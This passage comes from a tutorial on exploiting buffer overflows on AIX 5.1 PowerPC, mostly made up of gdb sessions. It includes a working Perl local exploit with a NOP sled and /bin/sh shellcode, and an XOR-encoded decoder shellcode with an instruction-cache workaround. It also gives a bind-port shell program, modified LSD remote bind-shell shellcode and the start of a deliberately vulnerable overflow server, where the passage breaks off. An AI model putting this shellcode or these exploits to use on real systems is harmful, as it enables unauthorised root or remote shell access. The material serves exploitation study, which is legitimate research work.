0x100005b0 : b 0x100005c8 
0x100005b4 : lwz r11,92(r2)
0x100005b8 : lwz r9,92(r2)
0x100005bc : lwz r9,0(r9)
0x100005c0 : addi r0,r9,1
0x100005c4 : stw r0,0(r11)
0x100005c8 : mr r3,r0
0x100005cc : lwz r1,0(r1)
0x100005d0 : lwz r0,8(r1)
0x100005d4 : mtlr r0
0x100005d8 : lwz r31,-4(r1)
0x100005dc : blr
0x100005e0 : .long 0x0
0x100005e4 : .long 0x2061
0x100005e8 : lwz r0,513(r1)
---Type  to continue, or q  to quit---
0x100005ec : .long 0x0
0x100005f0 : .long 0x9c
0x100005f4 : .long 0x46d61
0x100005f8 : xori r14,r11,7936
End of assembler dump.
(gdb) b *0x100005dc
Breakpoint 1 at 0x100005dc
(gdb) c
Continuing.

Press any key at the tty which running exploit.pl, and the gdb debug window continues:
Breakpoint 1, 0x100005dc in main ()
(gdb) i reg
r0 0x100001cc 268435916
r1 0x2ff22210 804397584
r2 0x20000ee8 536874728
r3 0xf00890f1 -267874063
r4 0xf00890f0 -267874064
r5 0x0 0
r6 0xd032 53298
r7 0x0 0
r8 0x60000000 1610612736
r9 0x60002449 1610622025
r10 0x0 0
r11 0x600026c8 1610622664
r12 0x100005ac 268436908
r13 0xdeadbeef -559038737
r14 0x2 2
r15 0x2ff22264 804397668
r16 0x2ff22270 804397680
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000520 536872224
r29 0x10000000 268435456
r30 0x3 3
r31 0x2ff22b40 804399936
pc 0x100005dc 268436956
ps 0x2d032 184370
cnd 0x24222422 606217250
lr 0x100001cc 268435916
cnt 0x0 0
xer 0x0 0
mq 0x0 0
fpscr 0x0 0
(gdb) x/20x $r1
(gdb) x/20x $r1
0x2ff22210: 0x2ff22b40 0x2ff22b40 0x2ff22b40 0x00000000
0x2ff22220: 0x00000000 0x20000ee8 0x00000002 0x2ff2225c
0x2ff22230: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22240: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22250: 0x00000000 0x00000000 0x00000000 0x2ff22270
(gdb) x/20x 0x2ff22b40
0x2ff22b40: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b50: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b60: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b70: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b80: 0x60606060 0x60606060 0x60606060 0x60606060
...
...
...
(gdb)
0x2ff22f00: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f10: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f20: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f30: 0x60606060 0x60607ca5 0x2a794082 0xfffd7fe8
0x2ff22f40: 0x02a63bff 0x0120387f 0xff08389f 0xff10907f

The lr register has been overwritten to 0x2ff22b40. Program will execute this address after function returning, and there are lots of nop instructions after this address until the shellcode appeared. But we must be notice the align problem. The following exploit avoid this problem:
#!/usr/bin/perl
#
# exploit1.pl
# exploit program vulnerable

$CMD="/home/san/vulnerable";

$SHELLCODE=
"\x7c\xa5\x2a\x79". # /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd". # /* bnel  */
"\x7f\xe8\x02\xa6". # /* mflr r31 */
"\x3b\xff\x01\x20". # /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08". # /* cal r3,-248(r31) */
"\x38\x9f\xff\x10". # /* cal r4,-240(r31) */
"\x90\x7f\xff\x10". # /* st r3,-240(r31) */
"\x90\xbf\xff\x14". # /* st r5,-236(r31) */
"\x88\x5f\xff\x0f". # /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f". # /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42". # /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02". # /* svca */
"/bin/sh".
"\x05";

$NOP="\x60\x60\x60\x60"x800;
%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;

for($i=0;$i<4 && $ret;$i++){
for($j=0;$j<4 && $ret;$j++) {
$ENV{CCC}="A"x $j .$NOP.$SHELLCODE;
$ret = system $CMD ,"A"x $i ."\x2f\xf2\x2b\x40"x11;
}
}

-bash-2.05b$ ./exploit1.pl

/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@

$
It seems good!

--[ 6 - Bypass I-cache Decoder shellcode is very simple in ia32 architechture.

Although PowerPC instructions cann't access memory direct except load and store instructions, but we can write a decoder shellcode as ia32.
char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79" // xor. %r5, %r5, %r5
"\x40\x82\xff\xfd" // bnel .main
"\x7c\x68\x02\xa6" // mflr %r3
"\x38\x63\x01\x01" // addi %r3, %r3, 0x101
"\x38\x63\xff\x26" // addi %r3, %r3, -0xDA # r3 point start of real shellcode-1
"\x39\x20\x01\x01" // li %r9, 0x101
"\x39\x29\xff\x23" // addi %r9, %r9, -0xDD # shellcode size+1
"\x7c\xc9\x18\xae" // lbzx %r6, %r9, %r3 # read a character
"\x68\xc7\xfe\xfe" // xori %r7, %r6, 0xFEFE # xor
"\x7c\xe9\x19\xae" // stbx %r7, %r9, %r3 # store a character
"\x35\x29\xff\xff" // subic. %r9, %r9, 1
"\x40\x82\xff\xf0" // bne Loop # loop

// real shellcode
"\xc6\x9d\xfe\xe3" // addi %r3, %r3, 29
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;

int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}
The first part is decoder. r3 points to the address of the front of real shellcode. r9 is the counter, whose size is one more than real shellcode. It will do xor operate from last byte of real shellcode. When I run the program in gdb, I find the following problem:
(gdb) r
Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault.
0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418 : addi r3,r3,29
0x2000041c : stw r3,-8(r1)
0x20000420 : stw r5,-4(r1)
0x20000424 : addi r4,r1,-8
0x20000428 : li r2,5
0x2000042c : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430 : sc
0x20000434 : cmpdi cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 : 0x3863ff26 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 : 0x3863001d 0x9061fff8 0x90a1fffc 0x3881fff8
0x20000428 : 0x38400005 0x4cc63342 0x44000002 0x2f62696e
0x20000438 : 0x2f736800 0x00000000 0x100005a0 0x00000000
(gdb)
The program halts at 0x20000418, and the instruction is "addi r3,r3,29". This instruction has no problem, and all of real shellcode seems decoded correctly, but the shellcode failed. When I break at 0x20000418, it is in different way after run:
(gdb) b *0x20000418
Breakpoint 1 at 0x20000418
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418 : lfsu f20,-285(r29)
0x2000041c : stw r3,-8(r1)
0x20000420 : stw r5,-4(r1)
0x20000424 : addi r4,r1,-8
0x20000428 : li r2,5
0x2000042c : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430 : sc
0x20000434 : cmpdi cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 : 0x3863ff26 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 : 0xc69dfee3 0x9061fff8 0x90a1fffc 0x3881fff8
0x20000428 : 0x38400005 0x4cc63342 0x44000002 0x2f62696e
0x20000438 : 0x2f736800 0x00000000 0x100005a0 0x00000000
(gdb)
I found that the content of address 0x20000418 wasn't decoded. It was strange! I discussed it with watercloud and alert7, and they said it might be instruction cache or branch prediction. We found a discussion by google: AIX has instruction cache and data cache. When execution begins, the instructions are fetched from the instruction cache -- which isn't always the same as what you put into the data cache. So, a normal xor decoder won't work. "A developer's guide to the PowerPC architecture" introduced self-modifying code. While writing self-modifying code is not a recommended practice, sometimes it is absolutely necessary. The following sequence shows the instructions used to perform a code modification: 1. Store the modified instruction. 2. Issue the dcbst instruction to force the cache line containing the modified instruction to storage. 3. Issue the sync instruction to ensure dcbst is completed. 4. Issue the icbi instruction to invalidate the instruction cache line that will contain the modified instruction. 5. Issue the isync instruction to clear the instruction pipeline of any instruction that may have already been fetched from the cache line prior to the cache line being invalidated. 6. It is now okay to execute the modified instruction. An instruction cache miss will occur when fetching this instruction, resulting in the fetching of the modified instruction from storage. H D Moore send me a sample on MacOSX, but these is a big problem on my box. OK, my AIX box like below:
bash-2.05b$ uname -a
AIX aix5 1 5 001381144C00
bash-2.05b$ lsattr -El proc0
state enable Processor state False
type PowerPC_604 Processor type False
frequency 232649620 Processor Speed False
So sadly, My box doesn't support cache instructions.
bash-2.05b$ cat testasm.s
.globl .main
.csect .text[PR]
.main:
icbi %r6, %r13
dcbf %r6, %r13

bash-2.05b$ gcc testasm.s
testasm.s: Assembler messages:
testasm.s:4: Error: Unrecognized opcode: `icbi'
testasm.s:5: Error: Unrecognized opcode: `dcbf'
bash-2.05b$ /usr/ccs/bin/as testasm.s
Assembler:
testasm.s: line 4: 1252-149 Instruction icbi is not implemented in the current assembly mode COM.
testasm.s: line 4: 1252-142 Syntax error.
testasm.s: line 5: 1252-149 Instruction dcbf is not implemented in the current assembly mode COM.
testasm.s: line 5: 1252-142 Syntax error.
Neither GNU's as and system's as cann't recognized these cache instructions. sync and isync were supported.
-bash-2.05b$ cat test.c
char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79" // xor. %r5, %r5, %r5
"\x40\x82\xff\xfd" // bnel .main
"\x7c\x68\x02\xa6" // mflr %r3
"\x38\x63\x01\x01" // addi %r3, %r3, 0x101
"\x38\x63\xff\x2e" // addi %r3, %r3, -0xDA # r3 point start of real shellcode-1
"\x39\x20\x01\x01" // li %r9, 0x101
"\x39\x29\xff\x23" // addi %r9, %r9, -0xDD # shellcode size+1
"\x7c\xc9\x18\xae" // lbzx %r6, %r9, %r3 # read a character
"\x68\xc7\xfe\xfe" // xori %r7, %r6, 0xFEFE # xor
"\x7c\xe9\x19\xae" // stbx %r7, %r9, %r3 # store a character
"\x35\x29\xff\xff" // subic. %r9, %r9, 1
"\x40\x82\xff\xf0" // bne Loop # loop

"\x7c\x00\x04\xac" // sync
"\x4c\x00\x01\x2c" // isync

// real shellcode
"\xc6\x9d\xfe\xe3" // addi %r3, %r3, 29
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;

int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}
I run this program in gdb direct to check sync and isync whether they work well.
(gdb) r
Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault.
0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418 : sync
0x2000041c : isync
0x20000420 : addi r3,r3,29
0x20000424 : stw r3,-8(r1)
0x20000428 : stw r5,-4(r1)
0x2000042c : addi r4,r1,-8
0x20000430 : li r2,5
0x20000434 : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 : 0x3863ff2e 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 : 0x7c0004ac 0x4c00012c 0x3863001d 0x9061fff8
0x20000428 : 0x90a1fffc 0x3881fff8 0x38400005 0x4cc63342
0x20000438 : 0x44000002 0x2f62696e 0x2f736800 0x00000000
The program crashed at 0x20000420 too. I took a breakpoint at 0x20000420 first:
(gdb) b *0x20000420
Breakpoint 1 at 0x20000420
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418 : sync
0x2000041c : isync
0x20000420 : lfsu f20,-285(r29)
0x20000424 : stw r3,-8(r1)
0x20000428 : stw r5,-4(r1)
0x2000042c : addi r4,r1,-8
0x20000430 : li r2,5
0x20000434 : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 : 0x3863ff2e 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 : 0x7c0004ac 0x4c00012c 0xc69dfee3 0x9061fff8
0x20000428 : 0x90a1fffc 0x3881fff8 0x38400005 0x4cc63342
0x20000438 : 0x44000002 0x2f62696e 0x2f736800 0x00000000
(gdb)
Instruction at 0x20000420 didn't decode! sync and isync have no effect. When I take a breakpoint at isync instruction, it works well too.
(gdb) b *0x2000041c
Breakpoint 1 at 0x2000041c
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x2000041c in shellcode ()
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x10000100 in ?? ()
(gdb) c
Continuing.
$ exit
Program exited normally. Phil of 0dd showed his experience on ARM chip development. He said syscall interrupt can flush instruction cache. So I modified my shellcode as follows:
char shellcode[] =
// decoder
"\x7d\xce\x72\x79" // xor. %r14, %r14, %r14
"\x40\x82\xff\xfd" // bnel .main
"\x7d\xe8\x02\xa6" // mflr %r15
"\x39\xef\x01\x01" // addi %r15, %r15, 0x101
"\x39\xef\xff\x37" // addi %r15, %r15, -0xC9 # r15 point to start of real shellcode
"\x3a\x20\x01\x01" // li %r17, 0x101
"\x38\x51\xff\xe1" // addi %r2, %r17, -0x1F # r2=0xe2 syscall number of sync.
"\x3a\x31\xff\x2f" // addi %r17, %r17, -0xD1 # shellcode size

"\x7e\x51\x78\xae" // lbzx %r18, %r17, %r15 # read a character
"\x6a\x53\xfe\xfe" // xori %r19, %r18, 0xFEFE # xor
"\x7e\x71\x79\xae" // stbx %r19, %r17, %r15 # store a character
"\x36\x31\xff\xff" // subic. %r17, %r17, 1
"\x40\x80\xff\xf0" // bne Loop # loop

"\x4c\xc6\x33\x42" // crorc %cr6, %cr6, %cr6
"\x7d\xe8\x03\xa6" // mtlr %r15 # lr=real shellcode address
"\x44\xff\xff\x02" // svca 0

// real shellcode
"\xc6\x91\xfe\xde" // addi %r3, %r15, 32
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x83\x3b\x8d\x86" // mr %r5, %r14
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;

int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}

-bash-2.05b$ ./test_3
$ id
uid=202(san) gid=1(staff)
$ exit
-bash-2.05b$
It runs well. After syscall, the system executes lr register and the instruction will not be cache. So inserting a syscall before real shellcode is the way to resolve I-cache problem.

--[ 7 - How to debug remote overflow LSD provided some remote shellcodes from UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes.

The following C program describes a simple bind port function.
-bash-2.05b$ cat bind.c
#include 
#include 
#include 
#include 

int soc,cli,i;
struct sockaddr_in serv_addr;

int main()
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0x1234;
soc=socket(2,1,0);
bind(soc,(struct sockaddr *)&serv_addr,0x10);
listen(soc,5);
cli=accept(soc,0,0);

for (i=2;i>=0;i--) {
close(i);
kfcntl(cli, 0, i);
}

execve("/bin/sh", 0, 0);
}
kfcntl syscall is the last call of dup2 on AIX. -bash-2.05b$ gdb bind GNU gdb 6.1 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-ibm-aix5.1.0.0"... (gdb) disas main Dump of assembler code for function main:
0x10000534 : mflr r0
0x10000538 : stw r31,-4(r1)
0x1000053c : stw r0,8(r1)
0x10000540 : stwu r1,-72(r1)
0x10000544 : mr r31,r1
0x10000548 : lwz r9,108(r2)
0x1000054c : li r0,2
0x10000550 : stb r0,1(r9)
0x10000554 : lwz r9,108(r2)
0x10000558 : li r0,0
0x1000055c : stw r0,4(r9)
0x10000560 : lwz r9,108(r2)
0x10000564 : li r0,4660
0x10000568 : sth r0,2(r9)
0x1000056c : li r3,2
0x10000570 : li r4,1
0x10000574 : li r5,0
0x10000578 : bl 0x1000734c 
0x1000057c : lwz r2,20(r1)
0x10000580 : mr r0,r3
0x10000584 : lwz r9,112(r2)
0x10000588 : stw r0,0(r9)
0x1000058c : lwz r9,112(r2)
0x10000590 : lwz r3,0(r9)
0x10000594 : lwz r4,108(r2)
0x10000598 : li r5,16
0x1000059c : bl 0x10007448 
0x100005a0 : lwz r2,20(r1)
0x100005a4 : lwz r9,112(r2)
0x100005a8 : lwz r3,0(r9)
0x100005ac : li r4,5
0x100005b0 : bl 0x1000746c 
0x100005b4 : lwz r2,20(r1)
0x100005b8 : lwz r9,112(r2)
0x100005bc : lwz r3,0(r9)
0x100005c0 : li r4,0
0x100005c4 : li r5,0
0x100005c8 : bl 0x10007394 
0x100005cc : lwz r2,20(r1)
0x100005d0 : mr r0,r3
0x100005d4 : lwz r9,116(r2)
0x100005d8 : stw r0,0(r9)
0x100005dc : lwz r9,120(r2)
0x100005e0 : li r0,2
0x100005e4 : stw r0,0(r9)
0x100005e8 : lwz r9,120(r2)
0x100005ec : lwz r0,0(r9)
0x100005f0 : cmpwi r0,0
0x100005f4 : bge- 0x100005fc 
0x100005f8 : b 0x10000640 
0x100005fc : lwz r9,120(r2)
0x10000600 : lwz r3,0(r9)
0x10000604 : bl 0x100074b4 
0x10000608 : lwz r2,20(r1)
0x1000060c : lwz r9,116(r2)
0x10000610 : lwz r11,120(r2)
0x10000614 : lwz r3,0(r9)
0x10000618 : li r4,0
0x1000061c : lwz r5,0(r11)
0x10000620 : bl 0x100074d8 
0x10000624 : lwz r2,20(r1)
0x10000628 : lwz r11,120(r2)
0x1000062c : lwz r9,120(r2)
0x10000630 : lwz r9,0(r9)
0x10000634 : addi r0,r9,-1
0x10000638 : stw r0,0(r11)
0x1000063c : b 0x100005e8 
0x10000640 : lwz r3,124(r2)
0x10000644 : li r4,0
0x10000648 : li r5,0
0x1000064c : bl 0x10007328 
0x10000650 : lwz r2,20(r1)
0x10000654 : mr r3,r0
0x10000658 : lwz r1,0(r1)
0x1000065c : lwz r0,8(r1)
0x10000660 : mtlr r0
0x10000664 : lwz r31,-4(r1)
0x10000668 : blr
0x1000066c : .long 0x0
0x10000670 : .long 0x2061
0x10000674 : lwz r0,1(r1)
0x10000678 : .long 0x138
0x1000067c : .long 0x46d61
0x10000680 : xori r14,r11,7936
End of assembler dump.
GDB displays entry address of all the functions, and we take breakpoints on these addresses.
(gdb) b *0x1000734c
Breakpoint 1 at 0x1000734c
(gdb) b *0x10007448
Breakpoint 2 at 0x10007448
(gdb) b *0x1000746c
Breakpoint 3 at 0x1000746c
(gdb) b *0x10007394
Breakpoint 4 at 0x10007394
(gdb) b *0x100074b4
Breakpoint 5 at 0x100074b4
(gdb) b *0x100074d8
Breakpoint 6 at 0x100074d8
(gdb) b *0x10007328
Breakpoint 7 at 0x10007328
When the program runs, gdb will break into these functions, so we can obtain syscall numbers of these functions.
(gdb) r
Starting program: /home/san/bind

Breakpoint 1, 0x1000734c in socket ()
(gdb) x/8i $pc
0x1000734c : lwz r12,4(r2)
0x10007350 : stw r2,20(r1)
0x10007354 : lwz r0,0(r12)
0x10007358 : lwz r2,4(r12)
0x1000735c : mtctr r0
0x10007360 : bctr
0x10007364 : .long 0x0
0x10007368 : .long 0xc8000
(gdb) si
0x10007350 in socket ()
(gdb)
0x10007354 in socket ()
(gdb)
0x10007358 in socket ()
(gdb)
0x1000735c in socket ()
(gdb) p/x $r2
$1 = 0x8d
(gdb) c
Continuing.

Breakpoint 2, 0x10007448 in bind ()
(gdb) x/8i $pc
0x10007448 : lwz r12,32(r2)
0x1000744c : stw r2,20(r1)
0x10007450 : lwz r0,0(r12)
0x10007454 : lwz r2,4(r12)
0x10007458 : mtctr r0
0x1000745c : bctr
0x10007460 : .long 0x0
0x10007464 : .long 0xc8000
(gdb) si
0x1000744c in bind ()
(gdb)
0x10007450 in bind ()
(gdb)
0x10007454 in bind ()
(gdb)
0x10007458 in bind ()
(gdb) p/x $r2
$2 = 0x8c
(gdb) c
Continuing.

Breakpoint 3, 0x1000746c in listen ()
(gdb) x/8i $pc
0x1000746c : lwz r12,36(r2)
0x10007470 : stw r2,20(r1)
0x10007474 : lwz r0,0(r12)
0x10007478 : lwz r2,4(r12)
0x1000747c : mtctr r0
0x10007480 : bctr
0x10007484 : .long 0x0
0x10007488 : .long 0xc8000
(gdb) si
0x10007470 in listen ()
(gdb)
0x10007474 in listen ()
(gdb)
0x10007478 in listen ()
(gdb)
0x1000747c in listen ()
(gdb) p/x $r2
$5 = 0x8b
(gdb) c
Continuing.

Breakpoint 4, 0x10007394 in naccept ()
(gdb) x/8i $pc
0x10007394 : lwz r12,12(r2)
0x10007398 : stw r2,20(r1)
0x1000739c : lwz r0,0(r12)
0x100073a0 : lwz r2,4(r12)
0x100073a4 : mtctr r0
0x100073a8 : bctr
0x100073ac : .long 0x0
0x100073b0 : .long 0xc8000
(gdb) si
0x10007398 in naccept ()
(gdb)
0x1000739c in naccept ()
(gdb)
0x100073a0 in naccept ()
(gdb)
0x100073a4 in naccept ()
(gdb) p/x $r2
$6 = 0x8a
(gdb) c
Continuing.

Breakpoint 5, 0x100074b4 in close ()
(gdb) x/8i $pc
0x100074b4 : lwz r12,44(r2)
0x100074b8 : stw r2,20(r1)
0x100074bc : lwz r0,0(r12)
0x100074c0 : lwz r2,4(r12)
0x100074c4 : mtctr r0
0x100074c8 : bctr
0x100074cc : .long 0x0
0x100074d0 : .long 0xc8000
(gdb) si
0x100074b8 in close ()
(gdb)
0x100074bc in close ()
(gdb)
0x100074c0 in close ()
(gdb)
0x100074c4 in close ()
(gdb) p/x $r2
$7 = 0xa0
(gdb) c
Continuing.

Breakpoint 6, 0x100074d8 in kfcntl ()
(gdb) x/8i $pc
0x100074d8 : lwz r12,48(r2)
0x100074dc : stw r2,20(r1)
0x100074e0 : lwz r0,0(r12)
0x100074e4 : lwz r2,4(r12)
0x100074e8 : mtctr r0
0x100074ec : bctr
0x100074f0 : .long 0x0
0x100074f4 : .long 0xc8000
(gdb) si
0x100074dc in kfcntl ()
(gdb)
0x100074e0 in kfcntl ()
(gdb)
0x100074e4 in kfcntl ()
(gdb)
0x100074e8 in kfcntl ()
(gdb) p/x $r2
$1 = 0x142

(gdb) c
Continuing.

Breakpoint 7, 0x10007328 in execve ()
(gdb) x/8i $pc
0x10007328 : lwz r12,0(r2)
0x1000732c : stw r2,20(r1)
0x10007330 : lwz r0,0(r12)
0x10007334 : lwz r2,4(r12)
0x10007338 : mtctr r0
0x1000733c : bctr
0x10007340 : .long 0x0
0x10007344 : .long 0xc8000
(gdb) si
0x1000732c in execve ()
(gdb)
0x10007330 in execve ()
(gdb)
0x10007334 in execve ()
(gdb)
0x10007338 in execve ()
(gdb) p/x $r2
$9 = 0x5
OK, we found the syscall numbers in AIX 5.1 that we needed.
socket=0x8d
bind=0x8c
listen=0x8b
naccept=0x8a
close=0xa0
kfcntl=0x142
execve=0x05
We modify a little of LSD's shellcode.
char lsd[] =
"\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */
"\x40\x82\xff\xfd" /* bnel  */
"\x7e\xa8\x02\xa6" /* mflr r21 */
"\x3a\xc0\x01\xff" /* lil r22,0x1ff */
"\x3a\xf6\xfe\x2d" /* cal r23,-467(r22) */
"\x7e\xb5\xba\x14" /* cax r21,r21,r23 */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */

"\x05\x82\x53\xa0" /* syscall numbers */
"\x87\xa0\x01\x42" /* execve=0x05 close=0xa0 */
"\x8d\x8c\x8b\x8a" /* socket=0x8d bind=0x8c */
/* listen=0x8b naccept=0x8a */
/* kfcntl=0x142 */

"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca 0x0 */
"\x3a\xb5\xff\xf8" /* cal r21,-8(r21) */

"\x2c\x74\x12\x34" /* cmpi cr0,r20,0x1234 */
"\x41\x82\xff\xfd" /* beql  */
"\x7f\x08\x02\xa6" /* mflr r24 */
"\x92\x98\xff\xfc" /* st r20,-4(r24) */
"\x38\x76\xfe\x03" /* cal r3,-509(r22) */
"\x38\x96\xfe\x02" /* cal r4,-510(r22) */
"\x98\x78\xff\xf9" /* stb r3,-7(r24) */
"\x7e\x85\xa3\x78" /* mr r5,r20 */
"\x88\x55\xff\xfc" /* lbz r2,-4(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7c\x79\x1b\x78" /* mr r25,r3 */
"\x38\x98\xff\xf8" /* cal r4,-8(r24) */
"\x38\xb6\xfe\x11" /* cal r5,-495(r22) */
"\x88\x55\xff\xfd" /* lbz r2,-3(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7f\x23\xcb\x78" /* mr r3,r25 */
"\x38\x96\xfe\x06" /* cal r4,-506(r22) */
"\x88\x55\xff\xfe" /* lbz r2,-2(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7f\x23\xcb\x78" /* mr r3,r25 */
"\x7e\x84\xa3\x78" /* mr r4,r20 */
"\x7e\x85\xa3\x78" /* mr r5,r20 */
"\x88\x55\xff\xff" /* lbz r2,-1(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7c\x79\x1b\x78" /* mr r25,r3 */
"\x3b\x56\xfe\x03" /* cal r26,-509(r22) */
"\x7f\x43\xd3\x78" /* mr r3,r26 */
"\x88\x55\xff\xf7" /* lbz r2,-9(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7f\x23\xcb\x78" /* mr r3,r25 */
"\x7e\x84\xa3\x78" /* mr r4,r20 */
"\x7f\x45\xd3\x78" /* mr r5,r26 */
"\xa0\x55\xff\xfa" /* lhz r2,-6(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x37\x5a\xff\xff" /* ai. r26,r26,-1 */
"\x40\x80\xff\xd4" /* bge  */

"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel  */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x55\xff\xf4" /* lbz r2,-12(r21) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */
"/bin/sh"
; 

int main() {
int jump[2]={(int)lsd,0};
((*(void (*)())jump)());
}
It seems good, let's try remote overflow.
/* server.c - overflow demo
*
* 2004.06.16
* san@nsfocus.com
*/

#include 
#include 
#include 
#include 

char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
//strcpy(s1,s);
memcpy(s1, s, size);
